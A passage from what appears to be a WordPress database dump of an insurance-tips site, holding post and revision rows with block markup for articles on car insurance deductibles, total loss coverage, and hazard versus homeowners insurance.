-->\n<p>In fact, when comparing the impact of moving from a low deductible to a higher one, you may find that once you reach $1,000 or so, going higher (even if you switch carriers) will not return enough in premium savings to make it worthwhile.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As an example, assume that shifting from a $500 to $1,000 deductible shaves 20 percent off your annual premium of $900 — reducing it to $720. But recouping the $500 increase in deductible would take almost three years ($180 in annual premium savings x 3). If you are accident-free during that time, raising the deductible saves money. If not, that higher deductible may have cost you more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Minimum and maximum deductible limits</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Minimum car insurance requirements vary by state, and insurers may offer a range of separate deductibles with minimum and maximum limits for both comprehensive and collision — the two main types of coverages that typically include deductibles. (There is no deductible on the liability coverage portion of a policy.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nationally, the average annual cost of car insurance in 2023 is $622 for minimum coverage, and $2,014 per year for full coverage, according to quoted premiums from Quadrant Information Services. Standard car insurance deductibles are $500 and $1,000, according to the III, but they can range as wide as $100 to $2,000 in some cases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Options for setting a deductible may be limited, however, if you have a car loan or lease; most vehicle financing agreements require a maximum deductible for collision and comprehensive coverage — often no more than $500. This means you may be able to pick a lower amount if you prefer, but not a higher one, such as $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How deductibles can impact your claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your car is damaged and you file a claim, the deductible is subtracted from the amount your insurer will pay (up to your coverage limit). Say your policy is written with a $1,000 deductible. That recent fender-bender led to a claim for your SUV for damages totaling $3,500. The check you would receive from your insurer to cover the repairs will be $2,500 (not factoring in depreciation).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is also important to remember that the car insurance deductible you choose applies every time you file a claim. So, if you have two separate accidents during a policy period, and you have a $500 comprehensive deductible, you would pay $500 each time, depending on the circumstances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, the type of claim impacts how or even if a deductible applies. In general, deductibles apply when there are covered damages to your car, and not when there are damages to another driver’s vehicle. If you are not at fault in an accident (and you do not live in a no-fault state), you should not have to pay a deductible for damage to your car. In that case, the other car’s driver covers your repairs through their insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Pros and cons of changing your deductible</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As with most things, there are trade offs to consider when altering your car insurance deductible. The consequences of your choice center on your comfort level with the ability to pay a portion of the costs of a claim vs. the premium savings you may gain from accepting more risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To help find the sweet spot — the ideal balance of premium and deductible expenses — here are some pros and cons to keep in mind when deciding whether to opt for a higher deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Pros</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Cheaper car insurance premiums:</strong> Raising the amount of your deductible has the potential to substantially reduce your insurance premiums. By doing this, you could potentially make the cost of car insurance more affordable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Flexibility:</strong>&nbsp;If you raise your deductible, it doesn’t have to be a one-time, permanent policy declaration. In most cases, you may have the freedom to choose a deductible that fits your budget, and you are free to reevaluate what your deductible is as circumstances change.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Cash flow for other needs:</strong>&nbsp;Having extra money from premium savings could help pad your emergency fund for other unanticipated expenses, or set aside money to cover that higher deductible before you ever need it.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Cons</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Greater financial responsibility for claims:</strong>&nbsp;With a higher deductible, you will pay more out of pocket for repairs as part of a covered claim, so you need to make sure that you’re able to afford the higher costs. It’s also important to note that in some cases, the amount of damages will be less than your deductible, so you’d need to cover the cost of repairs out of your own pocket.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Limited savings depending on your situation:</strong>&nbsp;As in our earlier example, it helps to do the math and compare potential savings because raising a deductible will not make sense in every case. That is why it can be a good idea to consider all the variables that contribute to the cost of your car insurance and explore different deductible vs. premium options from several car insurance carriers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Less peace of mind:</strong> If the budget is tight and you would find it hard to pay a high sum every time a claim occurs while you wait for insurance reimbursement, having a higher deductible may not be worth the stress on your finances.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/car/how-does-a-deductible-affect-insurance/#frequently-asked-questions\">click here.</a></p>\n<!-- /wp:paragraph -->','How Do Deductibles Impact Your Car Insurance?','','inherit','closed','closed','','3861-revision-v1','','','2024-02-28 16:35:50','2024-02-28 16:35:50','',3861,'https://smartinsurance.tips/?p=3863',0,'revision','',0),(3864,1,'2024-02-28 19:34:15','2024-02-28 19:34:15','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3865,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-12-1024x1024.png\" alt=\"\" class=\"wp-image-3865\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Total loss car insurance refers to car insurance coverage that can help cover the costs of replacing your vehicle if it is totaled in an accident or if the repair costs exceed the price of purchasing a new car. Although total loss car insurance is not a separate policy, it refers to different types of auto insurance coverage that you can purchase to protect your investment in your vehicle, including comprehensive and collision insurance coverage. Bankrate’s insurance editorial team breaks down what total loss coverage means and how to determine if you need it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is total loss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Total loss car insurance provides coverage for when a vehicle is damaged beyond reasonable repair in a covered claim. To determine whether your vehicle is damaged beyond reasonable repair, your auto insurer will assign a claims adjuster to assess your vehicle’s value by checking for damages and considering other variables that depreciate value. The company then uses this information in conjunction with market value data to determine how much your car is worth. The number they arrive at is called the actual cash value (ACV). If the car is worth less than repairs would cost and has total loss coverage, the insurance will make a payout for the totaled vehicle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two primary methods for determining when a car is a total loss:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Total loss threshold:</strong>&nbsp;When a vehicle’s total loss value reaches a specific percentage of the car’s market value, that is the total loss threshold. Each state has its own total loss threshold, which could be a certain percentage or the total loss formula.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total loss formula (TLF):</strong>&nbsp;The total loss formula is the vehicle’s fair market value less its salvage value. The insurer can deem a vehicle a total loss if repair costs meet or exceed the TLF figure.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Full coverage car insurance usually includes comprehensive and collision coverage, which can help pay to replace a vehicle that has been totaled in events that are covered on your policy. If your car is financed, you may want to consider gap insurance to cover the difference between what you owe and what your car is valued at after a total loss event.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What happens if your car has been declared a total loss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you receive a vehicle total loss declaration from your insurance company and don’t want to dispute the decision, there are a few things to know about the total loss process. If you are currently leasing your vehicle, you should also contact the leasing company and inform them that it has been totaled. The steps below describe what you should do if your car is declared a total loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Remove license plates.</strong>&nbsp;Remove both the front and back license plates and take them with you. Leaving your plates where someone might take them can lead to complications down the road. The safest approach is to maintain possession of the license plates until they are no longer on your record with the DMV.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Remove personal belongings.</strong>&nbsp;While removing your license plates, look inside of the vehicle as well. Check the dash, glove compartment, door and seat pockets, trunk and anywhere you might have left possessions. Once you turn your keys in, you may not be able to recover anything that you left in it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Give the keys to your claims adjuster.</strong>&nbsp;Once you have finished getting your plates and possessions from the car, you will need to hand over all sets of keys to your claims adjuster. When you do, they will provide you with several documents for you to complete.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Complete the required paperwork.</strong> Fill out and sign all documents that have been provided to you by your claims adjuster. You will likely no longer be responsible for the vehicle by the end of the process, as most people decide to transfer the car title to their insurer. However, you could choose to keep the vehicle and refurbish it enough to qualify for a rebuilt title if you’d like to drive it again.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to dispute a total loss</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Suppose your vehicle is declared a total loss and you disagree with that assessment. In that case, it is possible to dispute the decision. When you dispute these decisions, you are attesting that your auto insurer undervalued your vehicle and declared it totaled prematurely. Here are the steps you may want to consider to initiate a dispute:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Assemble documents and vehicle information.</strong>&nbsp;To prove your vehicle’s actual market value, you will want to gather any documents you have that reflect this. These might include the original receipt of sale, as well as notations on the various features and add-ons that your car has.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Assess current market information on your vehicle.</strong>&nbsp;Using a resource like Kelley Blue Book, find out the average current market value of your vehicle make and model. This tool is excellent for providing ballpark figures. Yet, it may not be precise enough on its own to dispute the total loss declaration. For exact figures, you could get an appraisal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Notify the insurer of your stance and submit your evidence.</strong>&nbsp;Contact your claims adjuster and inform them that you think they undervalued your vehicle and that you are disputing the total loss declaration. Provide them with your documentation and notes, including the information you gathered on market value.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Request an appraisal.</strong> If your auto insurer remains unconvinced at this point, you may request an in-person appraisal of your vehicle. Many of these determinations are made based on paperwork and known variables (like make and model) without an in-person appraisal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Consider legal action.</strong>&nbsp;If after you have completed all of the steps described above and you and the insurance company still cannot agree on whether your vehicle was appropriately valued, you may consider filing a complaint with your state’s department of insurance. This process can be lengthy and complicated, but may be worth pursuing if you believe your auto insurer is acting in bad faith.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does a total loss pay out?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Total loss car insurance settlement payouts depend on the value of your vehicle. When your insurance company determines whether to declare the car totaled, they are concerned with its actual cash value. This is what the vehicle is worth after considering any damage or depreciation factors. Once all of the necessary factors have been taken into account, the insurance company will pay you the actual cash value, assuming the claims process is successful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can you keep a car that’s a total loss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes, you can keep a car that’s a total loss. This is called retaining salvage. Since the vehicle is now worth less because of the total loss, the vehicle is only worth its salvage value, which is substantially less than its market value. You may have to remove comprehensive and collision coverage on your vehicle until you can prove that the vehicle has been repaired. Keep in mind that if you do so, you won’t be able to get the same value if the vehicle is damaged again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you decide to keep your car after a total loss, the insurance company will notify the Department of Motor Vehicles (DMV) to issue a salvage title. This shows the vehicle was deemed a total loss and received substantial damage. It can be difficult to insure a salvage vehicle, so it may be worth it to take the steps to get a rebuilt title if you plan to repair the vehicle and sell it or reinsure it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/car/total-loss-car-insurance/#how-much-does-a-total-loss-pay-out\">click here.</a></p>\n<!-- /wp:paragraph -->','What is Total Loss Car Insurance?','','publish','closed','closed','','what-is-total-loss-car-insurance','','','2024-02-28 19:34:15','2024-02-28 19:34:15','',0,'https://smartinsurance.tips/?p=3864',0,'post','',0),(3865,1,'2024-02-28 17:07:43','2024-02-28 17:07:43','','Untitled-12','','inherit','closed','closed','','untitled-12','','','2024-02-28 17:07:43','2024-02-28 17:07:43','',3864,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-12.png',0,'attachment','image/png',0),(3866,1,'2024-02-28 19:34:15','2024-02-28 19:34:15','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3865,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-12-1024x1024.png\" alt=\"\" class=\"wp-image-3865\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Total loss car insurance refers to car insurance coverage that can help cover the costs of replacing your vehicle if it is totaled in an accident or if the repair costs exceed the price of purchasing a new car. Although total loss car insurance is not a separate policy, it refers to different types of auto insurance coverage that you can purchase to protect your investment in your vehicle, including comprehensive and collision insurance coverage. Bankrate’s insurance editorial team breaks down what total loss coverage means and how to determine if you need it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is total loss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Total loss car insurance provides coverage for when a vehicle is damaged beyond reasonable repair in a covered claim. To determine whether your vehicle is damaged beyond reasonable repair, your auto insurer will assign a claims adjuster to assess your vehicle’s value by checking for damages and considering other variables that depreciate value. The company then uses this information in conjunction with market value data to determine how much your car is worth. The number they arrive at is called the actual cash value (ACV). If the car is worth less than repairs would cost and has total loss coverage, the insurance will make a payout for the totaled vehicle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two primary methods for determining when a car is a total loss:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Total loss threshold:</strong>&nbsp;When a vehicle’s total loss value reaches a specific percentage of the car’s market value, that is the total loss threshold. Each state has its own total loss threshold, which could be a certain percentage or the total loss formula.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total loss formula (TLF):</strong>&nbsp;The total loss formula is the vehicle’s fair market value less its salvage value. The insurer can deem a vehicle a total loss if repair costs meet or exceed the TLF figure.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Full coverage car insurance usually includes comprehensive and collision coverage, which can help pay to replace a vehicle that has been totaled in events that are covered on your policy. If your car is financed, you may want to consider gap insurance to cover the difference between what you owe and what your car is valued at after a total loss event.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What happens if your car has been declared a total loss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you receive a vehicle total loss declaration from your insurance company and don’t want to dispute the decision, there are a few things to know about the total loss process. If you are currently leasing your vehicle, you should also contact the leasing company and inform them that it has been totaled. The steps below describe what you should do if your car is declared a total loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Remove license plates.</strong>&nbsp;Remove both the front and back license plates and take them with you. Leaving your plates where someone might take them can lead to complications down the road. The safest approach is to maintain possession of the license plates until they are no longer on your record with the DMV.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Remove personal belongings.</strong>&nbsp;While removing your license plates, look inside of the vehicle as well. Check the dash, glove compartment, door and seat pockets, trunk and anywhere you might have left possessions. Once you turn your keys in, you may not be able to recover anything that you left in it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Give the keys to your claims adjuster.</strong>&nbsp;Once you have finished getting your plates and possessions from the car, you will need to hand over all sets of keys to your claims adjuster. When you do, they will provide you with several documents for you to complete.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Complete the required paperwork.</strong> Fill out and sign all documents that have been provided to you by your claims adjuster. You will likely no longer be responsible for the vehicle by the end of the process, as most people decide to transfer the car title to their insurer. However, you could choose to keep the vehicle and refurbish it enough to qualify for a rebuilt title if you’d like to drive it again.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to dispute a total loss</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Suppose your vehicle is declared a total loss and you disagree with that assessment. In that case, it is possible to dispute the decision. When you dispute these decisions, you are attesting that your auto insurer undervalued your vehicle and declared it totaled prematurely. Here are the steps you may want to consider to initiate a dispute:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Assemble documents and vehicle information.</strong>&nbsp;To prove your vehicle’s actual market value, you will want to gather any documents you have that reflect this. These might include the original receipt of sale, as well as notations on the various features and add-ons that your car has.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Assess current market information on your vehicle.</strong>&nbsp;Using a resource like Kelley Blue Book, find out the average current market value of your vehicle make and model. This tool is excellent for providing ballpark figures. Yet, it may not be precise enough on its own to dispute the total loss declaration. For exact figures, you could get an appraisal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Notify the insurer of your stance and submit your evidence.</strong>&nbsp;Contact your claims adjuster and inform them that you think they undervalued your vehicle and that you are disputing the total loss declaration. Provide them with your documentation and notes, including the information you gathered on market value.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Request an appraisal.</strong> If your auto insurer remains unconvinced at this point, you may request an in-person appraisal of your vehicle. Many of these determinations are made based on paperwork and known variables (like make and model) without an in-person appraisal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Consider legal action.</strong>&nbsp;If after you have completed all of the steps described above and you and the insurance company still cannot agree on whether your vehicle was appropriately valued, you may consider filing a complaint with your state’s department of insurance. This process can be lengthy and complicated, but may be worth pursuing if you believe your auto insurer is acting in bad faith.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does a total loss pay out?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Total loss car insurance settlement payouts depend on the value of your vehicle. When your insurance company determines whether to declare the car totaled, they are concerned with its actual cash value. This is what the vehicle is worth after considering any damage or depreciation factors. Once all of the necessary factors have been taken into account, the insurance company will pay you the actual cash value, assuming the claims process is successful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can you keep a car that’s a total loss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Yes, you can keep a car that’s a total loss. This is called retaining salvage. Since the vehicle is now worth less because of the total loss, the vehicle is only worth its salvage value, which is substantially less than its market value. You may have to remove comprehensive and collision coverage on your vehicle until you can prove that the vehicle has been repaired. Keep in mind that if you do so, you won’t be able to get the same value if the vehicle is damaged again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you decide to keep your car after a total loss, the insurance company will notify the Department of Motor Vehicles (DMV) to issue a salvage title. This shows the vehicle was deemed a total loss and received substantial damage. It can be difficult to insure a salvage vehicle, so it may be worth it to take the steps to get a rebuilt title if you plan to repair the vehicle and sell it or reinsure it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/car/total-loss-car-insurance/#how-much-does-a-total-loss-pay-out\">click here.</a></p>\n<!-- /wp:paragraph -->','What is Total Loss Car Insurance?','','inherit','closed','closed','','3864-revision-v1','','','2024-02-28 19:34:15','2024-02-28 19:34:15','',3864,'https://smartinsurance.tips/?p=3866',0,'revision','',0),(3867,1,'2024-02-28 20:43:57','2024-02-28 20:43:57','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3868,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-14-1024x1024.png\" alt=\"\" class=\"wp-image-3868\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>While hazard insurance only protects the structure of your home from damaging events like windstorms and fires, a homeowners insurance policy provides coverage for personal property, loss of use, liability, and medical payments to others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"ryrSoz\">Hazard Insurance vs. Homeowners Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keep reading to learn about the differences between hazard insurance and homeowners insurance and which policy is best for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"6cIaiY\">What Is Homeowners Insurance?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance is a type of insurance policy that protects your home from damaging events like fire and vandalism. If you don’t have an emergency budget to cover damages from these events, you can pay a monthly or annual premium to have an insurance provider cover those costs for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"T4zKuL\">Types of Homeowners Insurance Coverage</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most homeowners insurance policies come with six areas of coverage:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Dwelling</strong>—Dwelling coverage covers the cost of rebuilding your home if it’s damaged in an accident. This coverage protects all of the built-in elements of your home like the cabinetry, flooring, and walls. To determine how much protection you’ll need to cover the complete cost of rebuilding your home, you can use the estimate from your insurance company, talk to a local real estate appraiser, or purchase $100 to $155 of protection per square foot.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Other structures</strong>—This type of coverage protects the physical structures on your property that are detached from your home, like a garage, shed or fence. Other structures coverage is usually 10% of dwelling coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Personal property</strong>—This protects your belongings in your home and when you’re on a trip. If your belongings are damaged, your policy will pay to replace them. Most policies start as actual cash value (ACV), which means your provider will only give you enough money to replace your items with ones of depreciated value. However, you can purchase a replacement-cost endorsement that will replace your damaged items with new items. Your property coverage is usually 50% of dwelling coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Loss of use/additional living expenses</strong>—If an event damages your home and you can’t live there during repairs, your policy will pay for living expenses while you live in a hotel or temporary rental. This may include the cost of eating out for every meal, the cost of doing laundry, or the cost of your hotel room. This is usually 20% of dwelling coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Liability</strong>—This protects you when you’re responsible for causing bodily injury or property damage to another person. The policy will cover medical bills, repair or replacement costs, and legal fees. We recommend purchasing enough coverage to protect all of your assets inside and outside of your home, as these items could be used as collateral if you’re sued. This is usually at least $300,000 for homeowners.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Medical payments to others</strong>—If a guest is injured on your property, your policy will pay for their medical bills. Most policies offer $1,000 to $5,000 of protection per person.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Insurance companies also offer endorsements that you can add to your policy for extra protection. These endorsements vary by company, but common ones include coverage for identity theft, earthquakes, valuable personal property, personal property replacement costs, and water backup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"7NnEBO\">What Is Hazard Insurance?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Hazard insurance isn’t a separate policy from homeowners insurance; it’s just the structural part of the home insurance policy that includes dwelling and other structures coverage. In general, hazard insurance covers damage caused by fires, severe storms, hail, sleet, and other natural events. It’s different from catastrophe insurance, which is a separate, freestanding policy that covers specific types of disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hazard coverage comes in two forms—named-peril and open-peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"GFOvMt\">Named-Peril Policy</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Named-peril policies only offer protection from the hazards listed as covered. A common named-peril policy is an HO-2 policy, which offers coverage for the following 16 events:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Frozen plumbing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sudden and accidental tearing apart, cracking, burning, or bulging</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Volcanic eruption</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sudden and accidental damage from an artificially generated electrical current</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fire and lightning</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Windstorm and hail</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Accidental discharge or overflow of water or steam</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Weight of snow, sleet, or ice</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Explosion</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Riot or civil commotion</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Falling objects</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Vandalism</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Theft</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Smoke</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Aircrafts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Vehicles</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"TSjKG2\">Open-Peril Policy</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Open-peril policies cover all events, except the ones listed as exclusions. An example of this type of policy would be an HO-3 policy, which is what most insurance companies use for single-family homes. These are the common exclusions listed under an open-peril policy:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Neglect</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Power failure</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Ordinance or law</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>War</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Nuclear hazard</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage from flooding</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Earth movements like landslides, earthquakes, subsidence, mudslides, and sinkholes</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mold, fungus, or wet rot, unless it’s hidden within the walls, ceilings, or floors and is a result of plumbing failure</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Intentional loss</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Governmental action</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mischievous acts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Birds, vermin, rodents, or insects</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: While an HO-3 policy isn’t 